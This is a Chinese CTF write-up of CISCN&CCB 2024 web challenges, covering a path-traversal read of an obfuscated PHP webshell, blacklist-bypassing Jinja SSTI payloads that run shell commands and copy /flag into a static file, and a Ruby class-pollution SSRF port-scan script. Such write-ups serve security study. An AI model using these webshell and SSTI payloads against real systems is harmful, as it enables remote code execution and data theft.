CISCN&CCB2024初赛Web

本文最后更新于:1 个月前

抽象

Web

Hello Web

查看前端源码:

注意到题目给出的file参数,应该是文件包含,试图包含hackme.php

在file参数双写../绕过,读取hackme.php:

?file=..././hackme.php

1
2
3
4
5
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};$rVkKjU=$lapUCm{7}.$lapUCm{13};$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};eval($YwzIst("JHVXY2RhQT0iZVFPTGxDbVRZaFZKVW5SQW9iUFN2anJGeldaeWNIWGZkYXVrcUdnd05wdElCS2lEc3hNRXpxQlprT3V3VWFUS0ZYUmZMZ212Y2hiaXBZZE55QUdzSVdWRVFueGpEUG9IU3RDTUpyZWxtTTlqV0FmeHFuVDJVWWpMS2k5cXcxREZZTkloZ1lSc0RoVVZCd0VYR3ZFN0hNOCtPeD09IjtldmFsKCc/PicuJFl3eklzdCgkT3hpcmhLKCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVKjIpLCRZcEFVV0MoJHVXY2RhQSwkclZrS2pVLCRyVmtLalUpLCRZcEFVV0MoJHVXY2RhQSwwLCRyVmtLalUpKSkpOw=="));
?>

整理一下,打印出混淆后的方法名、参数,是个马子

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
highlight_file(__FILE__);
$lJbGIY="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxME";
$OlWYMv="zqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrel";
$lapUCm=urldecode("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A");
//echo $lapUCm;
$YwzIst=$lapUCm{3}.$lapUCm{6}.$lapUCm{33}.$lapUCm{30};
$OxirhK=$lapUCm{33}.$lapUCm{10}.$lapUCm{24}.$lapUCm{10}.$lapUCm{24};
$YpAUWC=$OxirhK{0}.$lapUCm{18}.$lapUCm{3}.$OxirhK{0}.$OxirhK{1}.$lapUCm{24};
$rVkKjU=$lapUCm{7}.$lapUCm{13};
$YwzIst.=$lapUCm{22}.$lapUCm{36}.$lapUCm{29}.$lapUCm{26}.$lapUCm{30}.$lapUCm{32}.$lapUCm{35}.$lapUCm{26}.$lapUCm{30};
echo $YwzIst;
echo "<br>";
//echo 1;
$uWcdaA="eQOLlCmTYhVJUnRAobPSvjrFzWZycHXfdaukqGgwNptIBKiDsxMEzqBZkOuwUaTKFXRfLgmvchbipYdNyAGsIWVEQnxjDPoHStCMJrelmM9jWAfxqnT2UYjLKi9qw1DFYNIhgYRsDhUVBwEXGvE7HM8+Ox==";
eval('?>'.$YwzIst($OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU))));
echo $OxirhK($YpAUWC($uWcdaA,$rVkKjU*2),$YpAUWC($uWcdaA,$rVkKjU,$rVkKjU),$YpAUWC($uWcdaA,0,$rVkKjU));
?>

最后得到:
<?php @eval($_POST['cmd_66.99']); ?>

根据文章:https://blog.csdn.net/mochu7777777/article/details/115050295

使用参数cmd[66.99可绕过

蚁剑连上

phpinfo界面看到disabled_function,拉满了:

1
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,system

蚁剑插件UserFilter能绕,拿到shell

find查找flag,在日志文件下,直接读

Safe Proxy

访问根路由,读取源码,预计请求走私,POST方式下调用render_template_string(),存在ssti

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
from flask import Flask, request, render_template_string
import socket
import threading
import html

app = Flask(__name__)

@app.route('/', methods=["GET"])
def source():
with open(__file__, 'r', encoding='utf-8') as f:
return '<pre>'+html.escape(f.read())+'</pre>'

@app.route('/', methods=["POST"])
def template():
template_code = request.form.get("code")
# 安全过滤
blacklist = ['__', 'import', 'os', 'sys', 'eval', 'subprocess', 'popen', 'system', '\r', '\n']
for black in blacklist:
if black in template_code:
return "Forbidden content detected!"
result = render_template_string(template_code)
print(result)
return 'ok' if result is not None else 'error'

class HTTPProxyHandler:
def __init__(self, target_host, target_port):
self.target_host = target_host
self.target_port = target_port

def handle_request(self, client_socket):
try:
request_data = b""
while True:
chunk = client_socket.recv(4096)
request_data += chunk
if len(chunk) < 4096:
break

if not request_data:
client_socket.close()
return

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as proxy_socket:
proxy_socket.connect((self.target_host, self.target_port))
proxy_socket.sendall(request_data)

response_data = b""
while True:
chunk = proxy_socket.recv(4096)
if not chunk:
break
response_data += chunk

header_end = response_data.rfind(b"\r\n\r\n")
if header_end != -1:
body = response_data[header_end + 4:]
else:
body = response_data

response_body = body
response = b"HTTP/1.1 200 OK\r\n" \
b"Content-Length: " + str(len(response_body)).encode() + b"\r\n" \
b"Content-Type: text/html; charset=utf-8\r\n" \
b"\r\n" + response_body

client_socket.sendall(response)
except Exception as e:
print(f"Proxy Error: {e}")
finally:
client_socket.close()

def start_proxy_server(host, port, target_host, target_port):
proxy_handler = HTTPProxyHandler(target_host, target_port)
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_socket.bind((host, port))
server_socket.listen(100)
print(f"Proxy server is running on {host}:{port} and forwarding to {target_host}:{target_port}...")

try:
while True:
client_socket, addr = server_socket.accept()
print(f"Connection from {addr}")
thread = threading.Thread(target=proxy_handler.handle_request, args=(client_socket,))
thread.daemon = True
thread.start()
except KeyboardInterrupt:
print("Shutting down proxy server...")
finally:
server_socket.close()

def run_flask_app():
app.run(debug=False, host='127.0.0.1', port=5000)

if __name__ == "__main__":
proxy_host = "0.0.0.0"
proxy_port = 5001
target_host = "127.0.0.1"
target_port = 5000

# 安全反代,防止针对响应头的攻击
proxy_thread = threading.Thread(target=start_proxy_server, args=(proxy_host, proxy_port, target_host, target_port))
proxy_thread.daemon = True
proxy_thread.start()

print("Starting Flask app...")
run_flask_app()

绕不了一点,限制了前置

原先以为:https://xz.aliyun.com/t/15780?time__1311=GqjxnQGQDQO4l6zG7DyDI2mRG8KcmEx3x

本地测试:

构造出payload:

1
code={{g.pop[request.form.global][request.form.buil].setattr(g.pop[request.form.global]['sy''s']['modules']['werkzeug']['serving']['WSGIRequestHandler'],"server_version",g.pop[request.form.global][request.form.buil][request.form.impo]('o''s')['pop''en'](request['form']['cmd'])['read']())}}&global=__globals__&buil=__builtins__&code1={{g.pop[request.form.global]['sy''s']['modules']['werkzeug']['serving']['WSGIRequestHandler']}}&impo=__import__&cmd=whoami

在Server的位置出现执行结果:

应该通过构造\r\n把请求头挤到请求体的位置

结果测试了半天,试了下目录写权限,有写的权限,傻了,,,(后来反应过来题目也没设置超时什么的所以理论上要时间注也是可以的)

题目应该是没处理好,,弄个代理混淆视听结果直接写静态文件就行

创建目录:

1
code={{g.pop[request.form.global][request.form.buil].setattr(g.pop[request.form.global]['sy''s']['modules']['werkzeug']['serving']['WSGIRequestHandler'],"server""_version",g.pop[request.form.global][request.form.buil][request.form.impo]('o''s')['pop''en'](request['form']['cmd'])['read']())}}&global=__globals__&buil=__builtins__&impo=__import__&cmd=mkdir static

读文件写入目录

1
code={{g.pop[request.form.global][request.form.buil].setattr(g.pop[request.form.global]['sy''s']['modules']['werkzeug']['serving']['WSGIRequestHandler'],"server""_version",g.pop[request.form.global][request.form.buil][request.form.impo]('o''s')['pop''en'](request['form']['cmd'])['read']())}}&global=__globals__&buil=__builtins__&code1={{g.pop[request.form.global]['sy''s']['modules']['werkzeug']['serving']['WSGIRequestHandler']}}&impo=__import__&cmd=cat /flag > static/1.css

访问:

http://39.106.59.244:38945/static/1.css

image-20241215173333913

Ruby

https://blog.doyensec.com/2024/10/02/class-pollution-ruby.html

污染了参数之后不知道做什么

污染Person.url能ssrf,http可以用Http绕过,但不知道有什么用,寄

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests

url = "http://39.106.9.198:20545/"

for i in range(0, 65535):

target = "Http://127.0.0.1:" + str(i)

print(target)

r0 = requests.post(url + "merge", json={"class": {"superclass": {"url": target}}})

r1 = requests.get(url + "launch-curl-command")

if r1.status_code == 200:
print(r1.text)